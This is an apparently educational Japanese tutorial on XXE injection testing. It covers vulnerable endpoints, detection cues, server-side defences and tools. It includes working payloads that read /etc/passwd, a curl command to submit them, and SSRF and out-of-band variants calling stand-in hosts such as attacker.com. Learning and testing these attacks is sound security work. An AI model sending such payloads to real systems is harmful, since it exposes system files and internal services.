Hello there, ('ω')ノ
🎯 1. XXEとは?
XML External Entity(XXE)インジェクションは、サーバがXMLをパース(解析)する際に、 外部実体(External Entity)を定義・参照できる設定になっていると、 ユーザが 任意ファイルの読み取り・SSRF(他サーバへのリクエスト) などを引き起こせる脆弱性です。
🧠 攻撃イメージ(ざっくり)
サーバがこのようなXMLを受け取った場合:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>
→ &xxe;
の部分に /etc/passwd
の中身が埋め込まれ、レスポンスなどに含まれることがあります。
🧭 2. XXEが発生しやすい場面・機能
機能 / ページ | XMLの扱われ方 | 備考 |
---|---|---|
📄 XML API | POSTでXMLを受け取るREST API | Content-Type: application/xml |
📤 ファイルアップロード | .xml ファイルを読み込む機能 |
購入情報、書類データなど |
🔄 SOAP通信 | XMLベースのRPCリクエスト | SOAPAction ヘッダが目印 |
🧾 フォーム連携 | 他システムとのXML連携 | 請求書、住所録などのインポート処理 |
🧪 3. 基本の診断ペイロード(ローカルファイル読み取り)
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>
送信方法の例(curl):
curl -X POST https://example.com/xml-api \ -H "Content-Type: application/xml" \ --data-binary @xxe.xml
🕵️ 4. XXE診断の観察ポイント
チェック対象 | 内容 |
---|---|
レスポンス | root:x:0:0:root:/root:/bin/bash 等が含まれていないか |
サーバの遅延 | 大きなファイル or 外部接続で時間がかかる |
エラーメッセージ | Entity not defined などのパーサーメッセージ |
DNSアクセス | SSRFテスト時に外部サーバへアクセスログが残るか |
🔁 5. 応用:外部サーバへのアクセス(SSRF型XXE)
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/xxe-test"> ]> <root> <data>&xxe;</data> </root>
→ 攻撃者のサーバにアクセスが来たら成功
🔐 6. Blind XXE(出力されない場合)
ファイルの中身が出力されなくても、次のような間接効果で検出可能です:
方法 | 例 |
---|---|
Out-of-Band(OOB)アクセス | file:///dev/random → 無限読み込みで遅延 |
DNSベース | http://attacker.evil.com へのリクエスト確認(Burp Collaboratorなど) |
🛡️ 7. サーバ側での防止策(参考知識)
対策 | 内容 |
---|---|
XMLパーサーで外部実体の読み込みを無効化 | Java, Python, PHPなどで設定可能 |
XMLではなくJSONを使う設計にする | XMLを使わないのが一番安全 |
WAFで <!ENTITY の使用を制限 |
攻撃の兆候を検知可能 |
🧰 8. 補助ツール
- Burp Suite(IntruderやRepeaterで手動送信)
- Burp Collaborator(OOBアクセスの確認)
- XXEinjector(自動化されたツール)
- curl / Postman(手動送信用)
📌 見つけやすいヒント・キーワード
Content-Type: application/xml
- XMLファイルのアップロード
<!DOCTYPE
,&xxe;
,SYSTEM
,ENTITY
- SOAPやREST APIでXMLリクエストを使っている箇所
✅ XXEの診断ステップまとめ
- XMLを受け取るエンドポイントを特定
- DOCTYPE定義付きXMLを送信
- ファイル読み込み型 or SSRF型で反応を観察
- レスポンスに意図しないデータが含まれていれば脆弱性あり
Best regards, (^^ゞ